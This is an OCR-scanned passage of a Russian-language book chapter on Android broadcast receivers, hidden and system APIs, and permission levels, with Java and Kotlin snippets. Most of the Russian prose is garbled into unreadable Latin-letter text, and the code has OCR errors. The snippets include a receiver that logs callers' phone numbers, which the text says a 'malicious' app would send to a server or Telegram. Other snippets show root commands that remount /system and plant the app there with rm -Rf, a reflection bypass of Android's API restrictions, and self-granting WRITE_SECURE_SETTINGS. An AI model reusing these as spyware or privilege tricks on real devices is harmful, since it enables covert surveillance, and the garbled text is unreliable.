COOG].].leHl/lH, a 3HAYHUT, UX MOXXHO HUCMNOJIb30BATb HE TOJILKO AJId 3alyCKa KOMITOHCHTOB
l'lplrlﬂO)KCHl/ll?I, HO W AJ11 OIIOBCLUEHHUA O KaKHUX-TH0O0 COOBITHAX H nepe€aadu OaHHBbIX.
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H s1a ocobenHocTh Mcnonbdyercs B Android Ha nonHyto kaTyuwky. Cucrema pacchuiaer
IIMPOKOBELIATENbHbIE COOOIUEHH NMPH BO3HMKHOBEHMH JIIOOOro CKOJIbKO-HHUOYAb 3Ha-
YUMOro cCoOBITHA: BIJIIOYEHHE U BBIKIIOYEHHE CMapT(OHa, BKIIIOYEHHE 3KpaHa, MOAKIIO-
YeHHe K CETH, K 3apsHOMY YCTPOMCTBY, B Cllyyae HM3KOro 3apsaa 6aTapeu, npu BXoas-
IIEM W UCXOASALIEM 3BOHKE, U T. I. Jlake cMeHa AaThl MPUBOAMT K OTHpaBKe LUMPOKOBE-
ILATEJIBHOrO COOOLLEHHS.

Ecnu nucath KoA ¢ y4eTOM BCeX 3THX COOOLUEHHH, MOXHO MOMYy4YUTh OYeHb YMHOE MpH-
JIOXKEHHe, CMOCOOHOe MOACTpPauBaThcs Moa paboTy cMapTdoHa W MONb30BATENA, @ YTO
caMoe BakHOe — MpHIoKeHHe Oyner oOpabaThiBaTh 3TH COOOLIEHHU BHE 3aBUCUMOCTH
OT TOrO, 3amylIeHO OHO WM HeT (B HOBbIX BepcuAX Android akTyalibHO He IS BcexX
THIOB COOOLLEHHI).

Panee Mbl yxe HCTIONIB30BAIM HHTEHTHI 151 3aIycka CEpPBHUCA U CHMMKA JIMLA MPH BKJTIO-
YEHHH JKpaHa, Ternepb pacCMOTPHM ApYroi npumep. JomycTiuM, y Hac €CTh MPHIOKEHHE
C MOJIHOCTBIO 3aBHMCUMBIM OT MIHTepHeTa cepBucoM. CepBUC MOCTOAHHO MOANEPIKUBAET
NOAKIIIOUEHHE K YAAIEHHOMY CEepBEpY M >KAET ympapisioued koMmaHabl. OObIYHBIMH
MeToJaMH npobjeMa BHE3anmHoro oTikoueHus ot MHrepHera pewanace Obl 1160 npo-
BEPKOH Ha HaMuue MHTepHeTa nepen KaXxabIM MOBTOPHBIM MOAKIIOUEHHEM K CEpBEpY H
3aCbIlIaHUEM, €CJIH €ro HeT, MO0 OTAENBHBbIM MOTOKOM, KOTOPbIi BpeMs OT BpeMEHH
npoceinaacs 6sl ¥ MPOBEPSIT HATUYHKE CBA3M, B ClTyyae Yero MUHas oCHOBHOH notok. He-
JOCTaTOK 00OHUX METOIOB COCTOMT B TOM, YTO OHH MPHBOIAT K 3aJ€pXKKaM NepenoaKIo-
YeHUs B MOMeHT, koraa MHrepHer mosBnserca. Huuero kpMTH4HOro, KOHE4YHO, HO He-
HPUSATHO.

Ho, ecan npunoxenue 6yaer pearpoBaTh Ha COOOLIEHMS OT CHCTEMBI, 3Ta npobieMa
pewuTcs caMa coboi. UroOsl peannszoBarts Takoe, HEOOXOAMMO, YTOOBI NPHUIIOXKEHHE pea-
THpOBAJIO Ha COOOLIEHHE CONNECTIVITY CHANGE, a 3aT€M MpPOBEPSJIO, YTO KOHKPETHO Mpo-
M30LII0: OTKIIOYEHHE OT CETH WIM moikmoyeHue. UtoObl peann3oBaTh 3Ty QyHKLHIO,
HaM NoHano0HUTCs pecuBep:

java J

public class ConnChangeReceiver extends BroadcastReceiver {
private String TAG="ConnChangeReceiver";

@Overrade
public void onReceive (Context context, Intent intent) {
Intent myIntent = new Intent (context, MainService.class);
1f (1sConnected(context)) {
Log.d(TAG, "Connected to network, start service");
context.startService (myIntent) ;
} else {
Log.d(TAG, "Network disconnected, stop service");
context.stopService (myIntent);
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public static boolean isConnected(Context context) {

ConnectivityManager cm = (ConnectivityManager)
context.getSystemService (Context.CONNECTIVITY SERVICE);

if (cm == null) {
return false;

NetworkInfo networkInfo = cm.getActiveNetworkInfo();
if (networkInfo == null) ({
return false;

return networkInfo.isConnected();

IntentFilter filter = new IntentFilter();
filter.addAction("android.net.conn.CONNECTIVITY CHANGE");
registerReceiver (new ConnChangeReceiver (), filter);

[lpy BO3HMKHOBEHHH COOOLIEHHS CONNECTIVITY CHANGE 3aIlyCKaeTcs pecHBep, KOTOpBIi
NpPOBEPSAET, YTO MPOM3OLIIO: YCTAHOBKA WIH pa3phlB COEAUHEHUS, U B 3aBUCMMOCTH OT
3TOro 3aMyCKaeT WJIH OCTaHaBJIMBAeT BECh CEPBHC LEUKOM. B peanbHOM koae Taioke
MOXET ObITh Ky4a APYrHX NMPOBEPOK, a €lle MMPOBepKa MOAKIIOYEHHU C MOMOILBIO NMUHTa
xocTta 8.8.8.8 (moakttoueHre MoXeT OBITh YCTAHOBJIEHO, HO caM VIHTepHeT HeOCTyNeH).
Ho 3To He Tak BakHO, a BaXKHO TO, YTO MPOCTEHIINA KOJ MO3BOJIAET HaM Jierko usba-
BUTBCA OT JOBOJIbHO Cepbe3HOW Mpo6neMbl, MpUYEM CHCTEMA MO MakCUMyMy Oepet pa-
60Ty Ha cebs W, HampuUMep, €ClIH CepBHUC yxke OymeT 3amylleH, HU4ero He MpOoU30HIeT,
BTOPOTO CEpBUCAa He MOABUTCA. TakuM ke oOpa3oM MOXHO pearMpoBaTh Ha MHOTHe
Ipyrue cooOuieHus, omMvcaHHble B oduumansHol nokyMeHtauuu (http://developer.
android.com/intl/ru/reference/android/content/Intent.html).

NoruposaHue 380HKOB

B kadecTBe elle 0qHOro NMpHUMepa pacCMOTPHUM JIOTHPOBaHHE 3BOHKOB. 11 3TOro mnoHa-
N0OUTCA TOBOJILHO NPOCTOH pecHBep:

‘ java

public class PhoneStateReceiver extends BroadcastReceiver {
private final String TAG = "PhoneStateReceiver";
private boolean incomingFlag = false;
private String incomingNumber = null;
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@Override
public void onReceive (Context context, Intent intent) {
if (intent.getAction().equals(Intent.ACTION NEW OUTGOING CALL)) {
String phoneNumber = intent.getStringExtra(Intent.EXTRA PHONE NUMBER);
Log.d(TAG, "Call to number: " + phoneNumber) ;
} else {

TelephonyManager tm =
(TelephonyManager) context.getSystemService (Service.TELEPHONY SERVICE);

switch (tm.getCallState()) {

case TelephonyManager.CALL STATE RINGING:
incomingFlag = true;
incomingNumber = intent.getStringExtra ("incoming number");
Log.d(TAG, "Incoming call: " + incomingNumber);
break; ‘

case TelephonyManager.CALL STATE OFFHOOK:
if (incomingFlag) {

Log.d(TAG, "Incoming call accepted: " + incomingNumber) ;

}

break;

Kak 06b14HO, Bce 04EHB MPOCTO, OJHAKO B 3TOM CITy4Yae Mbl HE IPOCTO pearupyeM Ha HH-
TEHT, HO H MpoBepAeM AeHCTBHE C NMOMOIIBIO METOMA getAction (). Ham pecusep nomkeH
pearupoBaTh M Ha JICHCTBHE NEW OUTGOING CALL, M Ha PHONE_STATE, T. €. HK3MEHEHHE COCTOS-
Hui paauoMonyns. Taioke MBI MpoBepseM NepedaHHble B MHTEHTE JONOJIHUTENbHbIE
JJaHHBbIE C MOMOLIBIO getStringExtra(). A Janee, €CIM 3TO UCXOAALUMH 3BOHOK, MBI NPO-
CTO JIOTHPYEM €ro; €CJIH JK€ MPOH30LLIO0 U3MEHEHHE COCTOSHHUSA, TO NMPOBEPSEM TeKyLiee
coctosiHue ¢ nomousio TelephonyManager u norupyem, eciiv 3BOHOK BXOAALIMH.

Pa3zymeercs, B pealbHOM «BpEIOHOCHOM)» MPHJIOXKEHHH HYXKHO OyneT He JIOrMpoBaTh
3BOHKH, a JTMOO aKKypaTHEHbKO 3aMHMChIBaTh UX B (paiyIMK, KOTOpBIH 3aTeM OTIPABIIATh
Kyda Hajao, J1u60 cpa3dy OTHpaBiATh KyAa Hago, XOThb Ha cepeep, xotb B IRC, xoTb
B Telegram.

Cxpbrteze API

He Bce API B Android noctynHsl BceM npuiokeHHsM. EcTh Tak Ha3pIBaeMble CKpbITbIE
API, xoTopble Helb3s MPOCTO TaK BBI3BIBaTh. B3ryigHeM Ha creaylolMi J1eKOMMUIUPO-
BaHHBIN koA npwiokeHus Drop Down Status Bar (puc. 15.1).

On co3nacrt 00BEKT KJj1acca StatusBarManager H BBI3BIBACT €ro METO
expandNotificationPanel (), €C/IH NMpWIOXKeHHe pabotaer B cpene Android 4.2, unu Meton
expand (), ec/ii 370 Android mpeapiTyIIMX BepcHii. OTO peajbHO CyLIECTBYIOILEE U Tpe-
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Puc. 15.1. lekomnunuposanHbii nuctuHr Drop Down Status Bar

Puc. 15.2. AHanornuHbIn KO4 Bbi3biBaeT OLWGKY NpUNoXeHus

KpacHo pabotatoiuee npuioxende. Ho eciiu Mbl monpoGyeM HamucaTh TOYHO TAKOM ke
KOJ, TO nony4uM owmubky (puc. 15.2).

Knacc statusBarManager He cymectByer B Android SDK. Tak npoucxoaut moTomy, 4to
¢periMBOpK, coaepxaiuii Bce kiacchl nmakera Android (Bkimowas TpeGyemsiit Ham
android.app.StatusBarManager), He OOUH U MOm dce HA peanbHom ycmpoticmee u 8 SDK.
Bepcus ¢petimBopka B SDK, Bo-nepBbIX, JOBONBEHO CHIIBHO ype3aHa B IUIaHe AOCTYIHBIX
KJIaCCOB, a BO-BTOPhIX, HE BKJIIOYAET B ceOs caMOro Koja peau3aluHd KJ1acCoB (BMECTO
METOAOB U KOHCTPYKTOPOB — 3arTylIKH, puc. 15.3).
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Puc. 15.3. Coaepxumoe hpeimBopkos peanbHoro ycrpoiictea u SDK

B urore, 4yTo6bl MOMy4YUTh AOCTYN KO BCEM KJIacCaM M METOIaM, ompenesieHHbIM B API
Android Ha camoM ycTpoiicTBe, HEOOXOAUMO JIMOO MOAKITIOYHTE K MPUIIOKEHHIO (pperm-
BOPK, BBIIEPHYTHIH NPAMO C yCTPOICTBA, TMO0 UCTIONB30BaTh pedIIEKCHIO.

OpuruHanbHLEIA (PperMBOpK

Yr1o6bl UCTIONIB30BAaTh OPUTHHANIBHBIN HpedMOpK, ero He0OOXOIUMO CKayaTh C YCTPOHCTBA
(Hanpumep, ¢ nomousio ADB):

$ adb shell
su

cp /system/framework/framework.jar /sdcard/
exit

vV V V V

exit
$ adb pull /sdcard/framework.jar

Janee ero He0OXOAMMO TPaHCIUPOBATh OOpaTHO B OaiiTkon Java:

$ unzip framework.jar
$ dex2jar-2.0/d2j-dex2jar.sh classes.dex

U 3areM pazMecTUTh Kak 0ObIYHYIO0 OUOIHOTEKY B MPOEKTE:

$ cp classes-dex2jar.jar ~/AndroidstudioProjects/VMA NPUIOKEHNA/app/libs/

U npucoeIMHUTE €€ K MpoeKTy ¢ noMolbio MeHIo Add as library.
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Pepnekcua

Btopoi#t cnoco6 ropasno npotue:

{ java

try {
//noinspection ResourceType
Object service = context.getSystemService("statusbar");
Class<?> statusbarManager = Class.forName ("android.app.StatusBarManager");
Method expand = statusbarManager.getMethod ("expandNotificationsPanel”);
expand. 1nvoke (service) ;

} catch (Exception e) {
Log.e("StatusBar", e.toString());

3)1er MBI HaxXoAHMM KJIACC StatusBarManager, HaXOOAHMM H B3BIBAEM €ro MeETOAO
expandNotificationsPanel ().

Kakue ewe cxpurteie API cywecTtsytoT?

Ha camom pnene, ux He Tak yx MHoro. B ocHoBHOM Android ucnonedyer ckpbiteie API
U1 B3aMMOJEHCTBUA MEXAY CUCTEMHBIMHU KJ1aCCaMH, IO3TOMY B OCHOBHOM 3TO pa3iHy-
Hble KOHCTaHThl M MOACOOHbIE (QYHKLIMH, MAJOMHTEPECHbIE OOBIYHBIM MPOrpaMMHUCTaM.
Ho ecTb 1 Heckonbko HHTepecHbIX API, koTOpHBIE MO3BOMAIOT:

O MoHTHpoOBaThb, pPa3MOHTHpOBaTb M ¢opMaTHpoBaTh (aitioBele cucTeMbl (Stora-
geManager);

noyry4yartb pacudpeHHyto nHdpopmaumo o Wi-Fi (WifiManager);
y3HaTh UID u npouyto uupopmaumio o Tekymem npouecce (Process);
NOJY4HUTh pacliMpeHHyIo HHpopMauuio o 6a3oBoii ctanuuu (Celllnfolte),

y3Hatb TN cetH (ConnectivityManager);

Qaoooa

MOJTYYUTh CIIMCOK YCTaHOBJIEHHBIX MAKETOB, MPHUHAJIEXAIIUX YKa3aHHOMY I0JIb30Ba-
temo (PackageManager).

[Tpo6nema 31ech NpociexXUBaeTCs TONBKO B TOM, 4TO MHOTHe U3 3THX API TpebytoT crie-
LUMaJIbHBIX MOJIHOMOYHH, @ HEKOTOpPbIE M3 HHX 3alpelleHbl K MCTIIOIB30BaHHUIO B MOCNeN-
HuX Bepcuax Android. Cnincok 3anpeuieHHbIX AP MOXHO HalTH 371€eCh:

https://developer.android.com/distribute/best-practices/develop/restrictions-non-
sdk-interfaces.

3anper pegnekcum 8 Android 9

Hauunas ¢ Android 9 Google 3anperuna goctyn ko MHOTHMM cKpbiThiM APl ¢ nomouisto
pedriekcHu, HO ObICTPO BBIICHWIOCH, YTO 3aIUUTY MOXHO OOOMTH C MOMOILBIO ABOHHOM
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pedaekcun (MM Metapedaekcun), Koraa BMECTO BbI30Ba METOJA CAMOCTOATENBHO MpPH-
JIO)KEHHE MPOCHUT CAENATh 3TO CaMy ONEPALIMOHHYIO CHCTEMY:

] kotlin

val forName = Class::class.java.getMethod("forName", String::class.java)

val getMethod = Class::class.java.getMethod("getMethod", String::class.java,
arrayOf<Class<*>>()::class.java)

val someHiddenClass = forName.invoke (null, "android.some.hidden.Class") as Class<*>

val someHiddenMethod = getMethod.invoke (someHiddenClass, "someHiddenMethod",
String::class.java)

someHiddenMethod. invoke (null, "some important string")

Opnako HauuHas ¢ Android 11 3ToT cnoco6 Takxke nepecran paboraTb, HO TONBKO B OT-
HOWIEHHWHU NpHIIokeHUH, cobpanHbix 11 APl 30 u Bbiwe (targetsdk=30). [punoxenus,
cobpaHHble 1 6onee paHHUX Bepcuid Android, cMoryT ucnosib30Bath pedekcuio.

CuctemHun API

Kpome ckpbitbix API, B Android ectb paa cucteMHbix API, 1OCTYMHBIX HCKITIOYUTETBHO
MPWIOXKEHHUAM, MOANMCAHHBIM KIIIOYOM TNPOLIMBKH, JIUOO pa3MeLIEHHbIX B CHCTEMHOM
Kartajiore. B atom pa3znene Mel nonpobyem pazobparbesi, Kak NOAYYHTb JOCTYMN K 3TUM
API 1 xakue BO3MOXXHOCTH OHH OTKPBIBAIOT.

HemHoro teopum

Kak MbI BbIsicHUIIH paHee, B Android ecTb Takoe MOHATHE, KaK HOTHOMOYUSL NPUNOIHCEHUU
(permissions), 1Mo pa3pelieHus, KoMy kak Oonblie HpaButcs. [lonHoMouus nponucel-
BaroTcs B (paiis Manifest.xml KaXIOro NMPHIOKEHHS U ONMPEAENSAIOT TO, K KAKUM QYHKLHAM
API cmoxeT nonyuuts qoctyn npuioxkeHue. Xotute paboTtath ¢ kamepoid — 106aBbTe B
Manifest.xml CTPOKY <uses-permission android:name="android.permission.CAMERA" />. Hy-
JK€H AOCTYN K KapTe MaMATH — android.permission.READ EXTERNAL STORAGE. Bce mpocto n
JIOTHYHO, K TOMY € BCE JOCTYIHbIE MPUIOXKEHUAM MOJTHOMOYHS XOPOLO JOKYMEHTHPO-
BaHbl! (https://developer.android.com/reference/android/Manifest.permission?hl=ru).

EcTp, onHako, B 3TO# CTpPOMHOH CxeMe OfHa OYE€Hb Ba)KHas JeTajlb, KOTOPYIO CaMH CO3-
natenu Android Ha3bIBalOT yposenv docmyna (protection level). UtoObl moHATH, 4TO 3TO
Takoe, nonpoodyire A00aBUTh B Manifest.xml JHOOOr0 CBOEro MPUIOKEHHs CIEAYIOULYIO

CTpOKY:

xml

<uses-permission android:name="android.permission.WRITE SECURE SETTINGS" />

[lo upee naHHOe pa3pelieHHe NODKHO OTKPbITH AocTyn K AP, koTopwlii mo3Bonser
MepeBOAUTh cMapThOH B pexkuM MoJeTa, BKIo4aTh/BhikmouaTte GPS u nenath apyrue
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nosie3Hsie Bewd. Ho Android Studio Tak He cuuTaeT M MO3TOMY cpa3y MOAYEPKHUBAET
CTPOKY kak owurOKy ¢ hopmynupoBkoii Permission is only granted to system apps. Oto
M €CTh NpeaynpexaeHie 0 HapyLeHUH Toro camoro ypoBHs aocryna. IDE kak Ob1 roso-
pUT Ham: Ja, Bbl MOXeTe MonpoOOBaTh [aThb CBOEMY MPWIOKEHHUIO pa3pelIeHHe
WRITE SECURE SETTINGS, HO Android Bce paBHO He pa3pellMT BaM HCIOJb30BaTh 3aKper-
AeHHbIH 32 HUM APl 10 Tex mop, moka Bbl He CAeNaeTe CBOE MPHUJIOKEHUE CUCTEMHBIM.
A 4TO 3HAYUT CCHCTEMHBIM)» B JaHHOM ciyyae? DTO 3HAYMT, MOKA HE MOIIHIIETE €ro
TEM k€ LUM(POBBIM KIIFOUOM, KaKHUM TMOANHKCAHA caMa MPOIIUBKA.

OduumnansHo B Android cyliecTByeT YeTbipe YPOBHS MOJTHOMYHIA:

O normal — «oObIYHBIE» MOJHOMOYMS, OTKpPBIBAIOILIME NMPHIOKEHHUIO AOCTYN K Oe3-
00MIHBIM (YHKLUMAM, KOTOpbIE HE MOTYYHUTCS HCMOJIb30BaTh B KOBApHBIX LENAX
(npuMepbI: SET ALARM, ACCESS NETWORK STATE, VIBRATE). CHcTeMa Aake He NMpeayINpeauT,
4TO NPUJIOKEHHE BOOOLIE UX HCMOJB3YET.

O dangerous — «onacHbie» MOJHOMOYHS, KOTOpBIE MPUIOMKEHHE MOIYYUT TOJIBKO
B CjlydYae corjlacMs nosib3oBarens (MpHMepbl: READ SMS, SEND SMS, CALL PHONE, READ
CALL LOG).

m] signature — HAOCTYIHbI TOJIBKO NPUJIOXKEHUAM, MNOANMUCAHHBIM K/IHOYOM INPOLIMBKH
(npumepblz GET TASKS, MANAGE USERS, WRITE SETTINGS, MOUNTUNMOUNTVFILESYSTEMS).

O priveleged — nocTynHbl NpUI0KEHUAM, PACTIONAralOLIMMCA B KaTaJlOre/system/priv-
app.

B 6onblunMHCTBE ciyyaeB ypoBHH AocTyna signature u priveleged paBHoueHHsl. Hampu-

Mep, 4TOObI MOY4HUTh MOJHOMOYHME MANAGE USERS, NMPUIOKEHHE NOJDKHO ObITh 6O moa-

NUCAHO KJIIOYOM TMPOLUMBKH, JIMOO pa3MeLeHO B KaTtajnore /system/priv-app. Ho ecTh u

MCKJTIOYEHHs, HanpuUMep TMOJMHOMOYHE MANAGE DEVICE ADMIN MMEET YPOBEHb HOCTyMNa

signature, T. €. €AMHCTBEHHbIN crocob ero MOJIYYUTb — MOAIUCATH MPUIIOKECHUE KIIIO-
YOM MpPOLINBKH.

EcTb Taroke Habop BHYTPEeHHHX YPOBHEH NOCTyna, BBeAeHHBIX B Android nns pemeHus
omnpeneneHHsix npobineM: installer, development, preinstalled, appop, pre23. Ilo cyry,
3TO KOCTBUIH, U Ha IaHHOM 3Tare Bbl MOXKETE O HUX HE AyMaTh, OJIHAKO K YPOBHIO J0C-
Tyna development MbI ele BepHEMCS, M OH HaM OYEHb CHIILHO MPUrOAMTCA. A MOKa Mo-
rOBOPHM O TOM, KaK MOJIyYUTh HYXKHbI€ HAM YPOBHH JOCTYNa M YTO OHH JAIOT.

YpoeeHb aoctyna privileged

Privileged — He camblii BBICOKMH ypOBEHBb JOCTyNa U MO3BOJIAET UCIONIB30BATh JaIeKO
He Becb APl Android. OgHako B GOJIBLIMHCTBE ClIy4aeB OH OKa3bIBAETCA BIIOJIHE JOCTa-
TOYHBIM, T. K. MO3BOJISIET YCTAaHABJIMBaTb M YNANATh MPUIOXKEHUS W MOJb30BaTesel
(INSTALL PACKAGES, DELETE PACKAGES, MANAGE USERS), YNPaB/SITh CTaTYCHOM CTPOKOM (STATUS
BAR), YNpaBJIiTh HEKOTOPbIMH HACTPOHKAaMHU MUTaHMsA (WRITE SECURE SETTINGS), YMTaTh U
M3MeHATb HacTpoikn Wi-Fi (READ WIFI CRIDENTIAL, OVERRIDE WIFI CONFIG), OTKJIOYaTh
MPHUI0XKEHUS U UX KOMIMOHEHTbI (CHANGE COMPONENT ENABLED STATE) M MHoroe apyroe. Cru-
cok priveleged-nonHomumii MoXxxHO mnocMoTpeTh B HcxoaHukax Android (https:/
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github.com/android/platform_frameworks_base/blob/master/core/res/AndroidMani
fest.xml), mpocTeiM mouckoMm Mo cinoBy "privileged".

Yto6sl NpHUIOKEHHE MOMYYHIO YPOBeHb AocTyna priveleged, oHO JOMDKHO OBITH ycTa-
HOBJIEHO B KaTaJlor /system/priv-app, @ 3TO 3HaYMT, MOCTABJATECS 11pelyCTaHOBIEHHBIM
B COCTaBe NMPOLUMBKH.

B panHux Bepcusax Android MBI MOTJIM NOMYYHTh 3TH MOJIHOMOYHS, MPOCTO CKOMHMPOBAB
NIPUJIOXKEHHE B CUCTEMHBIN KaTaJlor ¢ MOMOILBIO MpaB root U ciaenyrouiero koga. OnHako
coBpeMeHHbIH Android He MO3BOJAET MEPENOAKIIOUHTh CUCTEMHBIH pa3jen B peXUMe
3aMMCH, M 3TOT crnocob6 Gonbuie He paGoraerT (MCXOAHBIM KOO GYHKUMH runSuCommand
npuBeneH B pasaene «IIpaea root»):

java

// OyHKUMA LOesnlaeT yKazaHHOe MPWIOXeHUEe CUCTEMHBM M OTMPAaBiseT CMapTOOH B MATKYIO
nepesarpysky

static public void makeAppSystem(String appName) {
String systemPrivAppDir = "/system/priv-app/";
String systemAppDir = "/system/app/";

String appPath = "/data/app/" + appName;

// TookyouyaeM /system B pexmme YTeHMA-3ammcu

if (!runSuCommand ("mount -o remount,rw /system", true)) {
Log.e (TAG, "makeAppSystem: Can't mount /system");
return;

int ap1 = Build.VERSION.SDK INT;
String appDir = systemPrivAppDir;

// KomupyeM npuyioxeHne B /system/priv-app mm /system/app B 3aBUCUMOCTU
or Bepcum Android
1f (ap1 >= 21) |
runSuCommand ("cp -R " + appPath + "* " + appDir, true);
runSuCommand ("chown -R 0:0 " + appDir + appName + "*", true);
runSuCommand ("rm -Rf " + appPath + "*", true);
} else {
1f (apir < 20) { appDir = systemAppDir; }
runSuCommand ("cp " + appPath + "* " + appDir, true);
runSuCommand ("chown 0:0 " + appDir + appName + "*", true);
runSuCommand ("rm -f " + appPath + "*", true);

// OrnpaenseMm cMapTdoH B MATKYK [epes3arpys3ky
Shell.runSuCommand ("am restart", true);
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YpoeeHb poctyna signature

IToanuce KIHOYOM MPOLIMBKH MO3BOJIAET NOJYYMTb CaMblif BBICOKUH YpOBEHBb JOCTyNa
Kk APl — signature. MMelouiee Takoi 10CTyN NPHIIOXKEHHE MOXKET J1€J1aTh OYEHb MHOTO€:
MaHHUITyIMpOBaTh JIOObIMU HacTpoiikamMu Android, HagenATh NPUIOKEHUA NpaBaMH aj-
MHMHHUCTpaTopa (MANAGE DEVICE ADMINS), IPOrpaMMHO HaXKMMaTh KHONKH M BBOAMTH HaH-
Hble B JII060€ OKHO (INJECT EVENTS) M MHOTO€ JApYTOE€.

IMonyuuTe Takoi ypoBeHb JOCTyNa Ha CTOKOBOH MpOLUMBKE MOYTH HeBO3MOxKHO. Hu
OJIMH MPOMU3BOAMTENb CMAapTHOHOB HE MPEIOCTABUT BaM KJIFOY /IS TMOIMHUCH CBOMX MpO-
wuBok. Ho eciu peub HaeT o KaCTOMHOM NpOLIMBKE, TO BCe CTAHOBHUTCS HEMHOTO MPOLLE.
Hanpumep, HeoduumanbHeie cbopku LineageOS 1 qpyrux KacTOMHBIX MPOIIMBOK 4acTo
MOAMHMCBIBAIOTCS TECTOBBIM KJIIOYOM, a €ro OCOOEHHOCTh 3aKJIIOYAaeTCs B TOM, YTO OH
€CTb B OTKPBITOM JOCTYTIE.

C npyrot# cropoHsl, B LineageOS ecTh MexaHH3M 0€30MacHOCTH, KOTOPBIH, B OTIMYHE OT
yucroro Android, He MO3BOJIAET MOTYYaTh YPOBEHb AOCTYMA signature abCOMIOTHO BCEM
NPHIOXKEHHAM, MOAMUCAHHBIM KIIOYOM MPOLIMBKH, a TOJBKO TEM, YTO pa3MeILEeHBbI
B /system/priv-app. A NEPEMOHTHPOBATb CUCTEMHBIH pa3len A1 3alUCH B COBPEMEHHOM
Android HeBO3MOXHO.

YposeHb aoctyna development

B Android ects cneunanbHblii ypoBeHb goctyna development, ominune KOTOporo 3a-
KIIOYaeTcs B TOM, YTO TNPHIOXKEHHS [MONy4YaloT ero He mo (akTy pa3MelleHHs
B /system/priv-app WJIH MCMOJIb30BaHHs LUGPOBOH MOAMUCH MPOIIMBKH, a JUHAMHYECKH.
To ecTb cucTeMa MOXKET aTh TaKOH YPOBEHb JOCTYNa JF0O0OMY NMPUIIOKEHHIO, a MOXKET
oro3BaTh o6paTHo. Ho camoe BaxkHOe, 4TO, HMes TpaBa root, MpHIOKEHHE MOXKET Haje-
nUTh cebs TakUM YpOBHEM JOCTYMa CaMOCTOATENbHO. YTOOBI 3TO chenaTh, JOCTATOYHO
MCTIONIb30BaTh NPUMEPHO TaKOH KO

java

runSuCommand ("pm grant " + appName + " android.permission.WRITE SECURE SETTINGS", true);

bonee Toro, npuioxxeHue MOXKHO HaJEIUTb ITUM MOJIHOMOUYHEM, Ucrionb3ys ADB:

$ adb shell pm grant appName android.permission.WRITE SECURE SETTINGS

B naHHOM ciyyae NpHiI0XKeHHE appName MOJYYHT MOJIHOMOYHE WRITE SECURE SETTINGS BHE
3aBHCUMOCTH OT TOTO, I'/le OHO Pa3MEILEHO U KAKMM KITFOYOM MOAMHCAHO.

ITonHoOMoYMe WRITE SECURE_SETTINGS MosiBWJioch B Android 4.2 mis 3alUThl HEKOTOPBIX
KPHUTHYECKH BaXkHbIX HacTpoek Android. Cpean TakMx HacTpoeKk — BKJIIOYEHHE H BbI-
KIIOYEHHE pexHMa [0JIeTa, ynpaB/eHHMEe HAcTPOMKAMH MECTOMOJIOKEHHA U Mepeaadu
naHHbIX. OHO 3aUIMILEHO cpa3y TpeMs YPOBHSAMH AOcCTymna: signature, privileged u
development. To ecTb Bbl MOXKETE MCMONB30BATH OO0 M3 MEPEUUCIIEHHBIX BEIILE CIO-
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co60B MOTyueHHs YPOBHA AOCTYyNa, YTOOBI HAJEIUTh CBOE NPWIOKEHHE MOJTHOMOYHEM
WRITE SECURE SETTINGS. Kak Mcrosp30BaTh OTKphIBIIHECS BO3MOxXHOCTH? Hanpumep, Tak:

java

// UnTaeM Tekyuee 3HayeHME HACTPOMKM

boolean isEnabled = Settings.System.getInt (getContentResolver(),
Settings.System.AIRPLANE MODE ON, 0) == 1;

// TepekiouaeM HaCTPOMKY

Settings.System.putInt (getContentResolver (), Settings.System.AIRPLANE MODE ON,
isEnabled 2 0 : 1);

// OTnpaBJiieM MHTEHT IS NepPeKIoUEeHUs

Intent intent = new Intent (Intent.ACTION AIRPLANE MODE CHANGED) ;
intent.putExtra("state", !isEnabled);

sendBroadcast (intent) ;

3TOT KO NEPEKIIOYACT CMapTd)OH B PEXKHUM I10JIETA, WIH H8060p0T, B 3aBUCHUMOCTH OT
TEKYLIEro COCTOSAHHA.

TTpasa aamuHucTpatopa u cepsuc Accessibility

KpoMe TpaauuuoHHbIX nogHOMo4H# B Android ecTh TpH MeTapaspelleHHs, KOTopble OT-
KPBIBAIOT JOCTYN K BECbMa OMAcCHBIM, HO MOpOi o4YeHb nose3HbIM API:

1. AamuHucTpupoBaHUe ycTpoiicTBa — API, mpeaHa3HaueHHbIH A7 KOPMOpPaTHBHBIX
npuinoxeHui. [To3BonsieT BBIMOMHATL TaKHE ONEpaLUH, Kak cOpoc M yCTaHOBKa napo-
Ji1 3KpaHa OJIOKHPOBKH, BBIMOJHATH cOpoc cMapT¢doHa A0 3aBOACKHMX HACTPOEK H
yCTaHaB/IMBaTh NMpaBHJa MHHUMAJIBHON CIIOKHOCTH mapons. OaHa u3 ocobeHHocTeM
API — 3anper Ha yAaneHde MpPUIOKEHHUs, NOTyYHBIIEE MPaBa aAMHHUCTPATOPA, YEM
€ paJoCThIO MOJIB3YIOTCS aBTOPHI BpeaoHocHoro I10.

2. Accessibility — APl mis peanusauuu npwiokeHH#H Uis JIIOAEH ¢ OrpaHHYEHHBIMH
B03MOXXHOCTAMH. DakTHueckn APl mo3Bonsger co3naBaTh ajJbTepHaTHBHbIE CMOCOODI
YNpaBieH!s YCTPOMCTBOM M MO3TOMY OTKPBIBAaE€T MOMCTHHE O€3rpaHHUuHbIE BO3MOX-
HOCTH. C ero NoMoLIbI0 MOXKHO NMOTYYHTh JOCTYH K COAEP>XHMMOMY 3KpaHa rnpakTuye-
CKHU JTII000r0 MPUJIOXKEHHs, HAKUMATh Ha KHOMKH HHTepdeiica U MporpaMMHO HaXH-
MaTh KJIaBHIIK camoro cMaptdoHa. Ho ectb M crnocob 3aluuThl: pa3paboTyuk nmpuio-
KEHHS MOXET MNpAMO YKaszaTh, 4YTO ONpe/eNeHHble 3JIEMEHThl HHTepdeiica
npuIoxeHHs OyXyT HeAOCTYNHbI 1U1a cepBHCOB Accessibility.

3. VBeaomienus — API, nozpongiommii noay4uThs JOCTYN KO BCEM YBEIOMIIEHHAM,
otoOpaxkaromiuMcst B naHenu yseaomiieHuil. C nomowpio 3toro APl mpunoxenue
MOXET MPOYMTaTh BCIO HHPOpMALIMIO 00 YBEIOMIIEHHH, BKJIIOYas 3arojIoBOK, TEKCT
COIEpP>)KMMO€E KHOMOK YIPAaBJI€HHA, HAKATh HAa 3TH KHOMNKH U JaKE CMaXHYTh YBEJIOM-
nenre. APl none3yercs ocoboi MOMyISPHOCTBIO CpeqH pa3pabOTUHKOB BCEBO3MOXK-
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HBbIX 0aHKOBCKHX TPOSHOB, C NOMOILUBKO KOTOPOro OHH MOryT YHUTATh KOAbI NMOATBEP-
XKACHHUA U CMAXHUBATH Npeaynpexaaroume coo0IIEeHHs OT OAHKOB.

